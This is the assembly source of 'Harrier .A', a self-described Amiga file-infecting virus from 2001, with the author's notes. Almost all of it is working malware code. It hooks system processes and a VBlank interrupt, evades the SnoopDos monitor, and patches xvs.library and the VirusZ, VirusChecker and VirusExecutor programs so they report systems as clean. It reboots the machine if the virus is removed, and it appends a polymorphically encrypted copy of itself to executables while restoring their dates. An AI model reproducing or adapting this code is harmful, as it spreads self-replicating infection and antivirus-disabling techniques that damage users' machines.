;============================================================================
;	[ Harrier .A virus coded by MaD roGEr/VRU!  2001 South Poland ]
;============================================================================
;
;Harrier .A technical notes:
; 	poly		+	uses external poly engine
;	tunnelling 	+	uses advanced tunneling that fools
;				packet debugger used in SnoopDos
;	slow_infecting	+	file is only infected, if last infection was
;				at least 20 s. ago
;	retro		+	disables popular Amiga AV programs
;	anti-bait	+	uses some techniques to leave decoys
;
;Virus size: about 2k + poly engine + poly_decoder
;
;System infection:
;-----------------
;	ROMCleanUpCode of every process installed in system (except ramlib)
;	VBlank routine to infect new processes
;
;
;How it works:
;-------------
;First, virus allocates 15k of public memory and copies our code there. Next,
;starts tunelling routine that find in ROM adresses of 'dos.library' and
;'exec.library' functions used by the virus. If this is succesful - virus
;uses these adresses, if not - uses adresses from the base of libraries.
;When tracer was done, searches for 'ramlib' process (in tunelling way)
;and for 'dos.library' and 'xvs.library' bases, then installs interrupt
;on VBlank vector. This routine infects all processes in the system except
;'ramlib'. Processes are only infected, if the pointer to ROMCleanUpcode
;is equal to pointer at stack in the 'ramlib' process.
;When infected process ending, virus calls retro routine that disables in
;memory some AV programs ('xvs.library' is patched by VBlank routine).
;If time of last infection is at least 20 s. ago, virus gets locks from
;'ramlib', ThisTask and other processes installed in the system.
;If lock was found, scans dir for files to be infected. 
;
;Virus is designed as slow poly and slow infecting. As first Amiga virus
;uses anti-bait technique.
;
;Author's note:
;--------------
;Finally I decided to release this virus as is. I have some ideas that may be
;used in the virus, but I don't have enough time to write all routines and
;test it. I'll try to improve some new ideas in next Harrier .B virus.
;
;[To the readers who good knows english: don't blame me for grammar and
;language mistakes in source (english mistakes ofcourse :), english is not my
;first language, i speak polish.]
;
;
;Debug version $102

HUNK_CODE	equ	$3e9
HUNK_DATA	equ	$3ea
HUNK_START	equ	$3f3


;exec.library functions

Forbid		equ -132
Permit		equ -138
PutMsg		equ -366
CacheClearU	equ -636
AllocVec	equ -684
FreeVec		equ -690
ColdReboot	equ -726


;execbase offsets

NT_LIBRARY	equ 9

DebugData	equ 70
ThisTask	equ 276
AttnFlags	equ 296
ResModules	equ 300
DeviceList	equ 350
LibList		equ 378
TaskReady	equ 406
TaskWait	equ 420


;process entries

tc_SPUpper	equ 62
pr_CurrentDir	equ 152
pr_HomeDir	equ 188
pr_ExitData	equ 196


;_dos_caller parameters

OPEN		equ 0
CLOSE		equ 1
READ		equ 2
WRITE		equ 3
SEEK		equ 4
EXAMINE 	equ 5
EXNEXT		equ 6
INFO		equ 7
SETCOMMENT	equ 8
SETPROTECTION	equ 9
SETFILEDATE	equ 10
NAMEFROMLOCK	equ 11
ADDPART		equ 12

;_exec_caller parameters

ADDINTSERVER	equ 0
FINDTASK	equ 1

;!! this is for debug only !!

;minimal_size	equ 700
;maximal_size	equ 2000

minimal_size	equ 20000
maximal_size	equ 200000

;Debug routines
;	move.l	4.w,a6
;	bsr.w	_tracer
;	lea	ramlib_name(pc),a1
;	moveq	#FINDTASK,d7
;	bsr.w	_exec_caller
;	move.l	d0,ramlib_task_ptr-ramlib_name(a1)
;	bsr.w	_infect_processes
;	rts

;	move.l	4.w,a6
;	bra.w	_retro

;	move.l	4.w,a6
;	bsr.w	_install_patches
;	rts
;	bra.w	_new_ExitCode


;This is a faked infected proggy
	movem.l	d0-a6,-(sp)
	move.l	4.w,a6
	bra.s	start_Harrier

;-------------------------------------------------------------------------
	cnop	0,4		
_start_virus
;	movem.l	d0-a6,-(sp)		;virus don't save regs, that was done
					;by poly decoder
	move.l	4.w,a6			;get execbase
	move.l	60(sp),a0		;get virus_call instruction adres
	subq.l	#4,a0			;set PC 4 bytes back
	move.l	orig_long(pc),(a0)	;restore original long
	move.l	a0,60(sp)
	bsr.w	_CacheClearU	

start_Harrier
	move.l	DebugData(a6),d0	;get DebugData entry
	cmp.l	_VRU(pc),d0		;check virus activity
	beq.s	_quit_virus		;installed
	btst	#1,AttnFlags(a6)	;68020?
	bne.s	_quit_virus		;if not 68020 => lame system found 
	move.l	#15360,d0		;get 15k of mem
	bsr.s	_AllocVec
	beq.s	_quit_virus		
	move.l	d0,a1
	lea	_start_virus(pc),a0
	move.w	#(_end_virus-_start_virus)-1,d0

_copy_virus_to_RAM
	move.b	(a0)+,(a1)+
	dbf	d0,_copy_virus_to_RAM
	bsr.w	_CacheClearU		;necessary..
	jsr	_install_patches-_end_virus(a1)

_quit_virus
	movem.l	(sp)+,d0-a6	;all regs back 
	rts			;return from virus

orig_long
	dc.l	$4e714e71

_VRU	dc.b	'VRU!'
;------------------------------------------------------------------------
_AllocVec
	move.l	4.w,a6
	moveq	#1,d1
	swap	d1
	jsr	AllocVec(a6)
	rts		
;-------------------------------------------------------------------------
_tracer
	lea	tracer_result(pc),a5
	lea	dos_name(pc),a3
	moveq	#NT_LIBRARY,d1
	bsr.w	_find_rt_Init
	moveq	#(40/2)-1,d0		;we need to find _LV0_MakeLibrary call
					;in the ROM code.


;this is the code that we search it.
;(kick 3.1):
;
; $41f900fa0c38		lea  	$fa0c38,a0
; $93c9			suba.l	a1,a1
; $2449			move.l	a1,a2
; $4eaeffac		jsr	_LV0_MakeLibrary(a6)
;
;(kick 2.04):
;
; ...
; $41f900f91544		lea	$f91544,a0
; ...
;
;(kick 3.0):
;
; ...
; $41f900f971ec		lea	$f971ec,a0
; ...
;

_find_MakeLibrary_call
	cmp.w	#$41f9,(a0)+
	beq.s	_dostable_found
	dbf	d0,_find_MakeLibrary_call
	bra.b	_tracer_error

_dostable_found
	move.l	(a0),a0			;adress of offset table in A1
	lea	dos_function_offsets(pc),a2
	lea	_dos_vectors(pc),a4

_dos_loop
	move.l	a0,a1		
	move.w	(a2)+,d0
	move.w	(a0,d0.w),d0
	ext.l	d0
	add.l	a1,d0
	btst	#15,d0			;valid ROM adress?
	bne.s	_tracer_error
	move.l	d0,(a4)+
	tst.w	(a2)
	bne.s	_dos_loop

_find_exec_adresses
	lea	exec_name(pc),a3
	moveq	#NT_LIBRARY,d1
	bsr.s	_find_rt_Init
	bne.s	_exec_functions_not_found
	
	moveq	#50,d0			;we need to find _LV0_MakeFunctions
					;in first 100 bytes of code

;exec.library has a different method of initializing library base and vectors.
;Here we need to find _LV0_MakeFunctions call, register A1 contains adress
;of offset table, these offsets are 16-bit shifts (i don't know is that good)
;from start of offset table, ex.: we need to get original AllocVec() adress,
;we have pointer to rt_Init of our resident structure. Next step is locate
;16-bit offset to AllocVec() function in ROM, we have to get adress of the
;table from LEA instruction.
;We'll see:
;
;AllocVec	equ	684/3
;
;	lea	a.(pc),a0
;	move.w	2(a0),d0
;	lea	(a0,d0.w),a0	<== adress of offset table
;	move.w	AllocVec(a0),d0
;	ext.l	d0
;	addq.l	#2,d0	
;	add.l	d0,a0		<== ALL DONE!!! we have ORIGINAL adress!!!
;
;
;a. $43fa1e5c	lea 	$f8236c(pc),a1
;b. $2449		move.l	a1,a2
;c. $4eaeff6c	jsr 	_LV0_MakeFunctions(a6)
;

_find_MakeFunctions_call
	cmp.l	#$4eaeffa6,(a0)+
	beq.s	_exectable_found
	subq.l	#2,a0

	dbf	d0,_find_MakeFunctions_call
	bra.s	_exec_functions_not_found

_exectable_found	
	subq.l	#8,a0
	moveq	#8,d0
	
_find_exec_lea
	cmp.w	#$43fa,-(a0)
	beq.s	_exec_lea_found
	dbf	d0,_find_exec_lea
	bra.s	_exec_functions_not_found

_exec_lea_found
	lea	exec_function_offsets(pc),a2
	lea	_exec_vectors(pc),a4
	move.w	2(a0),d0
	addq.w	#2,d0
	lea	(a0,d0.w),a0

_exec_loop	
	move.w	(a2)+,d0		;get PutMsg offset
	move.w	(a0,d0.w),d0
	ext.l	d0	
	add.l	a0,d0
	btst	#15,d0
	bne.s	_exec_functions_not_found	
	move.l	d0,(a4)+
	tst.w	(a2)
	beq.s	_quit_tracer
	bra.s	_exec_loop

_exec_functions_not_found
_quit_tracer
	bsr.b	_CacheClearU
	st.b	(a5)
	rts	

_tracer_error
	clr.b	(a5)
	rts	

exec_function_offsets
_offset_addintserver		dc.w	(168/3)-2
_offset_findtask		dc.w	(294/3)-2
_offset_putmsg			dc.w	(366/3)-2
				dc.w	0

dos_function_offsets
_offset_open			dc.w	30/3	;0
_offset_close			dc.w	36/3	;1
_offset_read			dc.w	42/3	;2
_offset_write			dc.w	48/3	;3
_offset_seek			dc.w	66/3	;4
_offset_examine			dc.w	102/3	;5
_offset_exnext			dc.w	108/3	;6
_offset_info			dc.w	114/3	;7
_offset_setcomment		dc.w	180/3	;8
_offset_setprotection		dc.w	186/3	;9
_offset_setfiledate		dc.w	396/3	;10
_offset_namefromlock		dc.w	402/3	;11
_offset_addpart			dc.w	882/3	;12
				dc.w	0
;-------------------------------------------------------
_find_rt_Init
;in:
;a3 = name to find
;d1 = ln_Type; ex: NT_LIBRARY, NT_DEVICE..
;
;out:
;success:
;a0 = ptr to rt_Init of resident strcuture
;a1 = resident structure
;d0 = NULL
;
;error:
;d0 = -1

	move.l	4.w,a6
	move.l	ResModules(a6),a0
	
_get_next_resident
	tst.l	(a0)
	beq.s	_find_rt_Init_error
	move.l	(a0)+,a1
	move.b	12(a1),d0
	cmp.b	d1,d0
	bne.s	_get_next_resident
	move.l	14(a1),a2
	moveq	#8,d0
	move.l	a3,a4

_check_dos_name
	cmpm.b	(a2)+,(a4)+
	bne.s	_get_next_resident
	dbf	d0,_check_dos_name


	move.l	22(a1),a0		;rt_Init
	moveq	#0,d0
	rts
	
_find_rt_Init_error
	moveq	#-1,d0
	rts
;-------------------------------------------------------------------------
_FindName
;in:
;a0 = struct List
;a1 = name to find
;
;out:
;success:
;a0 = base of library, device etc.
;d0 = NULL
;
;error:
;d0 = -1

	tst.l	(a0)
	beq.s	_FindName_error
	move.l	(a0),a0
	move.l	10(a0),a3
	move.l	a1,a4

_find_name_loop
	cmpm.b	(a3)+,(a4)+
	bne.s	_FindName
	tst.b	-1(a3)
	bne.s	_find_name_loop

	moveq	#0,d0
	rts
	
_FindName_error
	moveq	#-1,d0
	rts

;-------------------------------------------------------------------------
_CacheClearU
	movem.l	d0/d1/a0/a1/a6,-(sp)
	move.l	4.w,a6
	jsr	CacheClearU(a6)
	movem.l	(sp)+,d0/d1/a0/a1/a6
	rts
;-------------------------------------------------------------------------
_interrupt
	dc.l	0			;Node: ln_Succ
	dc.l	0			;Node: ln_pred
	dc.b	2			;Node: ln_Type  Interrupt
	dc.b	0			;Node: ln_Pri
	dc.l	0			;Node: ln_Name
	dc.l	0			;is_Data
	dc.l	0			;is_Code

_VBlank_counter
	dc.w	0

_VBlank_code
	movem.l	d0/a0/a1/a2/a3/a6,-(sp)
	move.l	4.w,a6
	move.l	_VRU(pc),DebugData(a6)	;mark residency
	lea	_VBlank_counter(pc),a0
	tst.w	(a0)
	beq.s	_VBlank_counter_is_empty
	subq.w	#1,(a0)
	
_VBlank_counter_is_empty
	bsr.w	_infect_processes
	move.l	xvs_base(pc),d0		;get that fuckin base
	tst.l	d0			
	beq.s	_quit_VBlank		;no library (lame system?)
	move.l	d0,a0
	move.l	-28(a0),a1		;get SelfTest adress
	move.l	#$70ff4e75,(a1)		;overwrite routine by
					;moveq #-1,d0  rts;
					;this gives a positive result
					
	move.l	-94(a0),a1		;get CheckFile adress
	move.l	#$70034e75,(a1)		;overwrite routine by
					;moveq #0,d0  rts;
					;this gives a XVSFT_EXECUTABLE
					;result
					
	move.l	-106(a0),a1		;get SurveyMemory adress
	move.l	#$70004e75,(a1)		;overwrite routine by
					;moveq and so on..
					;result = memory clear
	
_quit_VBlank
	movem.l	(sp)+,d0/a0/a1/a2/a3/a6
	rts
;---------------------------------------------------------------------------
;This routine looks for some AV tasks (VirusExecutor, VirusZ and VirusChecker)
;and disables some functions in these proggies.

_retro

	lea	xvs_name(pc),a1
	tst.l	xvs_base-xvs_name(a1)
	bne.s	_xvs_already_found
	lea	LibList(a6),a0
	bsr.w	_FindName
	bne.s	_xvs_already_found
	move.l	a0,xvs_base-xvs_name(a1)

_xvs_already_found
	moveq	#FINDTASK,d7
	lea	VirusZ1_name(pc),a1
	bsr.w	_exec_caller		;call find task in tunelling way
	bne.s	no_VirusZ1
	bsr.s	kill_VirusZ

no_VirusZ1
	moveq	#FINDTASK,d7
	lea	VirusZ2_name(pc),a1
	bsr.w	_exec_caller
	bne.s	no_VirusZ2
	bsr.s	kill_VirusZ

no_VirusZ2
	moveq	#FINDTASK,d7
	lea	VirusChecker_name(pc),a1
	bsr.w	_exec_caller
	bne.s	no_Virus_Checker
	bsr.w	kill_Virus_Checker

no_Virus_Checker
	jsr	Forbid(a6)
	move.l	TaskWait(a6),a0
	bsr.s	_find_Executor
	move.l	TaskReady(a6),a0
	bsr.s	_find_Executor
	jsr	Permit(a6)
	rts	

_find_Executor
	move.l	10(a0),a2
	lea	background_name(pc),a1
	
check_Background_name
	cmpm.b	(a2)+,(a1)+
	bne.s	_get_next_task2
	tst.b	-1(a1)
	bne.s	check_Background_name
	bsr.w	kill_Executor

_get_next_task2
	tst.l	(a0)
	beq.s	_no_more_tasks
	move.l	(a0),a0
	bra.b	_find_Executor

_no_more_tasks
	bsr.w	_CacheClearU
	rts		

;**************************************
kill_VirusZ
	move.l	d0,a0
	move.l	pr_ExitData(a0),d0
	cmp.l	_VRU(pc),d0
	beq.s	VirusZ_stopped
	move.l	128(a0),d0
	tst.l	d0
	beq.s	VirusZ_stopped
	lsl.l	#2,d0
	move.l	d0,a1
	move.l	12(a1),d0		;get hunk
	move.l	#2000,a1		;search range
	lsl.l	#2,d0			;convert hunkadress from BCPL
	exg	d0,a1

find_VirusZ_IDCMP_checker
	move.l	(a1),d1
	cmp.l	#$b07c0001,d1		;VirusZ_II uses cmp.w #1,d0
	beq.s	VirusZ1
	cmp.l	#$0c400001,d1		;VirusZ_III uses cmpi.w #1,d0
	beq.s	VirusZ2
	addq.l	#2,a0
	dbf	d0,find_VirusZ_IDCMP_checker
	rts

VirusZ2
	move.l	#$0c400002,d2		;cmpi.w #2,d0
	bra.s	VirusZ1+6
VirusZ1
	move.l	#$b07c0002,d2		;cmp.w #2,d0
	move.l	a1,a2
	addq.l	#4,a2
	cmp.b	#$67,(a2)		;beq.x
	bne.s	find_VirusZ_IDCMP_checker
	tst.b	1(a2)
	bne.s	IDCMP_checker_found
	addq.l	#2,a2
	
IDCMP_checker_found
	addq.l	#2,a2
	move.l	(a2),d3
	cmp.l	d2,d3
	bne.s	find_VirusZ_IDCMP_checker

stop_VirusZ
	cmp.w	#$4e75,(a1)
	beq.s	VirusZ_stopped
	move.w	#$4e71,(a1)+
	bra.s	stop_VirusZ

VirusZ_stopped
	bra.s	mark_killed_task

;**************************************
kill_Virus_Checker
	move.l	d0,a0
	move.l	pr_ExitData(a0),d0
	cmp.l	_VRU(pc),d0
	beq.s	VirusChecker_stopped
	move.l	128(a0),d0		;seglist
	tst.l	d0			;if NULL, system may crash
	beq.s	VirusChecker_stopped	;mark task as stopped
	lsl.l	#2,d0			;convert from BCPL
	move.l	d0,a1
	move.l	12(a1),d0		;get adress of 1st hunk
	lsl.l	#2,d0			;convert from BCPL
	add.l	#8000,d0		;add 8000 bytes to start offset
	move.l	#400,a1			;search counter
	exg	d0,a1

find_VC_mem_checker
	move.l	(a1),d1
	cmp.l	#$7202b280,d1		;moveq #2,d1; cmp.l d0,d1
	beq.s	_VirusChecker_BSR_found
	addq.l	#2,a1
	dbf	d0,find_VC_mem_checker
	rts
	
_VirusChecker_BSR_found
	cmp.b	#$66,4(a1)		;beq.x
	bne.s	find_VC_mem_checker
	tst.b	5(a1)			;.b? or .w?
	bne.s	_VC_mem_checker_found
	addq.l	#2,a1

_VC_mem_checker_found
	addq.l	#6,a1

stop_VirusChecker
	move.w	(a1),d0
	and.w	#$ff00,d0
	cmp.w	#$6000,d0		;this 'bra' ends routine
	beq.s	VirusChecker_stopped
	move.w	#$4e71,(a1)+		;overwrite routine by NOPs
	bra.s	stop_VirusChecker

VirusChecker_stopped
mark_killed_task

	move.l	_VRU(pc),pr_ExitData(a0)
	rts	
;**************************************
kill_Executor
	move.l	62(a0),a1
	move.l	-8(a1),a1
	lea	Executor_code(pc),a2
	moveq	#[(end_Executor_code-Executor_code)/2]-1,d0

compare_Executor_code
	cmpm.w	(a2)+,(a1)+
	bne.s	not_Executor
	dbf	d0,compare_Executor_code
	clr.b	15(a0)			;set tc_State to INVALID
	clr.l	22(a0)			;clear all signals
	bra.s	mark_killed_task
not_Executor
	rts

Executor_code
	moveq	#0,d0
	bra.s	_shit
	move.l	4(a7),d0
_shit	move.l	$1208(a4),a2
	move.l	d0,-(a2)
	move.l	-$1828(a4),$1204(a4)
	move.l	4.w,a6
	subq.l	#4,-$1820(a4)
end_Executor_code
background_name	dc.b	'Background CLI',0
	EVEN
;---------------------------------------------------------------------------
_install_patches
	move.l	4.w,a6	
	bsr.w	_tracer				;find all needed dos & exec
						;adresses
	bsr.w	_CacheClearU
	moveq	#FINDTASK,d7
	lea	ramlib_name(pc),a1
	bsr.w	_exec_caller
	tst.l	d0
	bne.s	_ramlib_ok
	move.l	_VRU(pc),DebugData(a6)
	rts
	
_ramlib_ok
	move.l	d0,ramlib_task_ptr-ramlib_name(a1)
	move.l	d0,a0
	move.l	tc_SPUpper(a0),a0
	lea	ExitCode_ptr(pc),a1
	move.l	-8(a0),(a1)
	
	lea	LibList(a6),a0
	lea	dos_name(pc),a1
	bsr.w	_FindName			;get dosbase
	bne.s	_rts2
	move.l	a0,dos_base-dos_name(a1)

	lea	LibList(a6),a0
	lea	xvs_name(pc),a1
	bsr.w	_FindName
	bne.s	_no_xvs
	move.l	a0,xvs_base-xvs_name(a1)
	bra.s	_add_VBlank_routine

_no_xvs
	clr.l	xvs_base-xvs_name(a1)

_add_VBlank_routine	
;	rts					;for debug
	lea	_interrupt(pc),a1
	lea	interrupt_names(pc),a0
	move.b	$dff00a,d0
	lsr.b	#2,d0
	and.w	#6,d0
	move.w	(a0,d0.w),d0
	lea	(a0,d0.w),a0
	move.l	a0,10(a1)
	lea	_VBlank_counter(pc),a0
	move.w	#$2000,(a0)+	
	move.l	a0,18(a1)
	move.l	(a6),14(a1)
	bsr.w	_CacheClearU
	moveq	#5,d0
	moveq	#ADDINTSERVER,d7
	bsr.w	_exec_caller

_rts2	rts
;---------------------------------------------------------------------
_infect_processes
	move.l	4.w,a6
	move.l	ramlib_task_ptr(pc),a3
	move.l	tc_SPUpper(a3),a2
	move.l	-8(a2),d1
	move.l	TaskWait(a6),a0			;TaskWait
_1
	cmp.b	#$d,8(a0)			;process?	
	bne.s	_get_next_task
	bsr.s	_infect_process	

_get_next_task
	tst.l	(a0)
	beq.s	_process_infecting_done
	move.l	(a0),a0				;next task
	bra.s	_1	

_process_infecting_done	
	rts	
	
_infect_process
	cmp.l	a3,a0
	beq.s	_rts
	
	move.l	tc_SPUpper(a0),a1
	cmp.l	-8(a1),d1
	bne.s	_rts
	
	lea	_new_ExitCode(pc),a2
	move.l	a2,-8(a1)			;insert new ExitCode
_rts	rts
;------------------------------------------------------------------------------
_new_ExitCode
	movem.l	d0-a6,-(sp)
	lea	_VBlank_counter(pc),a0
	tst.w	(a0)
	bne.w	_end_ExitCode_patch2
	move.w	#20*50,(a0)			;20 s. from last infection
	bsr.w	_CacheClearU

	move.l	4.w,a6
	move.l	DebugData(a6),d0
	cmp.l	_VRU(pc),d0			;interrupt active?
	beq.s	_virus_is_active
	jmp	ColdReboot(a6)			;if not, AV program detected
						;and removed our patch - then
						;RESET!!!
_virus_is_active
	bsr.w	_retro
	move.l	ramlib_task_ptr(pc),a0
	move.l	pr_HomeDir(a0),d1
	bne.s	_kick_SnoopDos
	move.l	pr_CurrentDir(a0),d1
	bne.s	_kick_SnoopDos

	move.l	ThisTask(a6),a0

get_locks
	move.l	pr_HomeDir(a0),d1
	bne.s	_kick_SnoopDos
	move.l	pr_CurrentDir(a0),d1
	bne.s	_kick_SnoopDos

get_next_process
	tst.l	(a0)
	beq.w	_end_ExitCode_patch
	move.l	(a0),a0
	cmp.b	#$d,8(a0)
	bne.s	get_next_process
	bra.s	get_locks

_kick_SnoopDos
	move.l	_ROM_putmsg(pc),d2
	cmp.l	PutMsg+2(a6),d2
	beq.s	_get_disk_info
	
	lea	orig_PutMsg_vector(pc),a1	;buffer_adress
	tst.l	_ROM_putmsg-orig_PutMsg_vector(a1)
	beq.s	_get_disk_info
	move.l	PutMsg+2(a6),(a1)		;store previous PutMsg() vector	
						;and temporary write original. 
	move.l	_ROM_putmsg(pc),d0
	move.l	d0,PutMsg+2(a6)			;that prevent virus detection
						;by 'packet debugger' like in
						;SnoopDos

_get_disk_info	
	move.l	d1,d7				;save this lock for later
	lea	_InfoData(pc),a5		;d1 - lock, d2 - InfoData
	move.l	a5,d2				
	moveq	#INFO,d0
	bsr.w	_dos_caller			;call Info()
	move.l	_id_diskstate-_InfoData(a5),d0
	cmpi.w	#82,d0				;validated ?
	bne.w	_end_ExitCode_patch
	move.l	_id_numblocks-_InfoData(a5),d0
	cmp.l	#8000,d0			;blocks_total
	bmi.w	_end_ExitCode_patch
	sub.l	_id_numblocksused-_InfoData(a5),d0	;blocks_used
	moveq	#100,d1
	cmp.l	d1,d0				;free blocks > 100 ?
	bmi.w	_end_ExitCode_patch

	move.l	d7,d1				;lock
	lea	_filepath(pc),a5
	move.l	a5,d2				;buffer
	moveq	#120,d3				;length
	moveq	#NAMEFROMLOCK,d0		;extract path from lock
	bsr.w	_dos_caller
	
	lea	_FileInfoBlock(pc),a4
	move.l	a4,d2				;what you see
	move.l	d7,d1				;lock
	moveq	#EXAMINE,d0
	bsr.w	_dos_caller			;call Examine()
	tst.l	d0
	beq.s	_end_ExitCode_patch
	bra.s	_check_file

_search_files
	move.l	d7,d1				;only lock is needed
	moveq	#EXNEXT,d0
	bsr.w	_dos_caller			;call Exnext()
	tst.l	d0
	beq.b	_end_ExitCode_patch

_check_file
	tst.l	_fib_direntrytype-_FileInfoBlock(a4) ;file or dir?
	bpl.s	_search_files

	move.l	_fib_size-_FileInfoBlock(a4),d0
	and.b	#%11,d0				;alinged to 4?
	bne.s	_search_files		;no, all Amiga execs have length
					;BCPL*4
	move.w	_fib_filename-_FileInfoBlock(a4),d0
	and.w	#$dfdf,d0
	cmp.w	#'VI',d0		;VirusZ?, VirusExecutor?, VirusChecker?
	beq.s	_search_files
	cmp.l	#minimal_size,_fib_size-_FileInfoBlock(a4)
	bmi.s	_search_files
	cmp.l	#maximal_size,_fib_size-_FileInfoBlock(a4)
	bhi.s	_search_files

	move.w	_fib_comment-_FileInfoBlock(a4),d0
	cmp.w	_comment(pc),d0		;check infection mark
	beq.s	_search_files

	move.l	_fib_date-_FileInfoBlock(a4),d0
	cmp.l	LIF_date(pc),d0
	beq.s	_search_files
	move.l	_fib_date+4-_FileInfoBlock(a4),d0
	cmp.l	LIF_date+4(pc),d0
	beq.s	_search_files
	move.l	_fib_size-_FileInfoBlock(a4),d0
	cmp.l	LIF_size(pc),d0
	beq.s	_search_files
		
	lea	_fib_filename-_FileInfoBlock(a4),a1
	move.l	a1,d2			;filename
	move.l	a5,d1			;dirname			
	moveq	#120,d3			;max path length
	moveq	#ADDPART,d0		;add filename to path
	bsr.w	_dos_caller		;call AddPart()
	bsr.s	infect_file
	
_end_ExitCode_patch
	move.l	4.w,a0			;execbase
	lea	orig_PutMsg_vector(pc),a1
	move.l	(a1),d0
	beq.s	_end_ExitCode_patch2			;no :/
	move.l	d0,PutMsg+2(a0)	;yes, we found it
					;now we replace our
					;vector to previous code
	bsr.w	_CacheClearU

_end_ExitCode_patch2
	movem.l	(sp)+,d0-a6		;get regs back
;	rts

	dc.w	$4ef9
ExitCode_ptr
	dc.l	0	
;------------------------------------------------------------------------
infect_file
	move.l	_fib_size-_FileInfoBlock(a4),d0
	bsr.w	_AllocVec
	bne.s	_memory_allocated2
	rts

_memory_allocated2		
	move.l	d0,memory_ptr-_filepath(a5)	;save this ptr for later
	move.l	a5,d1			;filename
	moveq	#0,d2			;----RWED
	moveq	#SETPROTECTION,d0	;clear all protection bits
	bsr.w	_dos_caller		;call SetProtection()
	bmi.s	_protection_cleared	;is DOS TRUE?
					;if not free memory and exit
_FreeVec
	lea	memory_ptr(pc),a0
	move.l	(a0),a1
	clr.l	(a0)
	move.l	4.w,a6
	jsr	FreeVec(a6)
	rts

_protection_cleared
	move.l	a5,d1			;filename_ptr
	move.l	#$3ed,d2		;mode OLD_FILE
	moveq	#OPEN,d0
	bsr.w	_dos_caller		;call Open()
	bne.s	_opened			;opened...

_exit_infection
	bsr.w	do_setprotection
	bra.s	_FreeVec		;and free mem

_opened	
	move.l	d0,d6			;save FH for all file operations
	move.l	d0,d1
	move.l	memory_ptr(pc),d2	;where to read the file
	move.l	_fib_size-_FileInfoBlock(a4),d3	;get file size

	moveq	#READ,d0		;read whole file to allocated memory
	bsr.w	_dos_caller		;call Read()
	bne.s	_readed			;raeded

	bra.w	do_close
_close
	move.l	d6,d1			;FH
	moveq	#CLOSE,d0		
	bsr.w	_dos_caller		;call Close()
	rts

_readed
	move.l	d0,d5			;save readed_bytes for later
	move.l	d2,a2			;mem ptr
	cmp.l	#HUNK_START,(a2)	;file is executable ?
	bne.w	do_close
	move.l	8(a2),d4		;get number of hunks
	lea	20(a2,d4.w*4),a2
	cmp.w	#HUNK_CODE,2(a2)	;code hunk?
	beq.s	_hunk_code_found
	cmp.w	#HUNK_DATA,2(a2)	;data_hunk? (equal to code_hunk)
	bne.w	do_close

_hunk_code_found
	move.l	4(a2),d4
	lea	8(a2,d4.l*4),a1		;adress of the end of the hunk
	move.l	a1,a3			;save it for later

	move.l	#$3ff0,d2		;search_range
	cmp.l	d2,d4
	bgt.s	_use_3ffO
	move.l	d4,d2
	lsl.l	#1,d2
	subq.l	#1,d2
	move.b	$dff007,d3
	and.w	#$f,d3
	addq.w	#4,d3

_use_3ffO
	;================================= "JSR scanner" ============

	moveq	#-2,d1
	moveq	#0,d4
	
search_JSR
	addq.w	#2,d1
	move.w	-(a1),d0
	tst.w	d0
	beq.s	NULL_check
	cmp.w	#$4eae,d0		; jsr xxyy(a6)?
	beq.b	jsr_found		; Yes !
	cmp.w	#$6100,d0		; bsr.w xxxx?
	beq.s	bsr_found		; Yea !
	cmp.w	#$4eba,d0		; jsr xxyy(pc)?
	beq.s	jsr_found		; Yepp
	cmp.w	#$4efa,d0		; jmp xxyy(pc)?
	beq.s	jmp_found		; Da

search_JSR_loop
	dbra	d2,search_JSR
	bra.w	do_close		; not found

NULL_check
	addq.w	#1,d4
	cmp.w	#500,d4
	beq.w	do_close
	bra.s	search_JSR_loop
	;========================== end of "JSR scanner" ============
jmp_found
jsr_found
bsr_found
	subq.w	#1,d3
	bne.s	search_JSR_loop
	
	lea	orig_long(pc),a0
	move.l	(a1),(a0)		;store original instruction in virus
	move.b	$dff007,d0
	btst	#0,d0
	beq.s	_jsr_pc
	move.w	#$6100,(a1)+		;and set new bsr to virus code
	bra.s	_jsr_pc+4
	
_jsr_pc	move.w	#$4eba,(a1)+
	move.w	d1,(a1)			;save offset

	moveq	#0,d0			;ask poly engine for seed adress
	bsr.w	_poly_engine		;return in A0
	move.l	dos_base(pc),a1
	move.l	82(a1),(a0)		;get value from datestamp struct 
					;and use as seed, this way virus
					;changes decoding routine after 1 day.
					;-> slow polymorphism, simply but works
	
	lea	_start_virus(pc),a0	;from where to get code to encrypt
	lea	_buffer(pc),a1		;where to put it when crypted
	move.b	$dff007,d0
	and.w	#$fc,d0			;get rnd value from 0 - 252
	add.w	#_end_virus-_start_virus,d0	;length
	bsr.w	_poly_engine		;encrypt virus in buffer
	move.l	d0,d7
	asr.l	#2,d0			;convert to BCPL

	move.l	memory_ptr(pc),a0
	move.l	a0,a2
	add.l	d0,20(a0)		;add virus length to original code
	move.l	8(a0),d1		;get number of hunks
	lea	20(a0,d1.w*4),a0	;get adress of code or data hunk
	add.l	d0,4(a0)		;add virus...

	move.l	d6,d1			;filehandle
	moveq	#0,d2			;file position to 0
	moveq	#-1,d3			;OFFSET_BEGINNING
	moveq	#SEEK,d0		;call Seek()
	bsr.w	_dos_caller
	
	move.l	a3,d3		;adress of the end of the 1 hunk
	move.l	a2,d2		;adress of the buffer
	sub.l	d2,d3		;size of first part of the file
	sub.l	d3,d5		;size of second part of the file

	move.l	d6,d1		;FH
	moveq	#WRITE,d0	;write hunktable and 1 hunk
	bsr.w	_dos_caller	;call Write()
			
	lea	_buffer(pc),a0	;adress of encrypted virus
	move.l	a0,d2		
	move.l	d7,d3		;length
	move.l	d6,d1		;FH

	moveq	#WRITE,d0	;write virus to file
	bsr.w	_dos_caller	;call Write()

	move.l	a3,d2		;adress of second rest of the file
	move.l	d5,d3		;size of this
	move.l	d6,d1		;filehandle
	moveq	#WRITE,d0
	bsr.w	_dos_caller	;call Write()

do_close
	bsr.w	_close
	bsr.s	_restore_old_date	;restore old date and mark file as
					;infected		
	bra.w	_exit_infection

_restore_old_date			
	move.l	a5,d1		;filename_ptr
	lea	_fib_date-_FileInfoBlock(a4),a0 ;ptr to DateStamp
	move.l	a0,d2		;DateStamp struct
	moveq	#SETFILEDATE,d0
	bsr.w	_dos_caller	;call SetFileDate()

	lea	_comment(pc),a0
	move.l	a0,d2
	move.l	a5,d1
	moveq	#SETCOMMENT,d0
	bsr.w	_dos_caller

	bsr.s	do_setprotection
	
	lea	LastInfectedFileData(pc),a0
	move.l	_fib_date-_FileInfoBlock(a4),(a0)+
	move.l	_fib_date+4-_FileInfoBlock(a4),(a0)+
	move.l	_fib_size-_FileInfoBlock(a4),(a0)
	lea	_FileInfoBlock(pc),a0
	move.w	#(4096/8)-1,d0

_clear_memory
	clr.l	(a0)+
	clr.l	(a0)+
	dbf	d0,_clear_memory
	rts
		
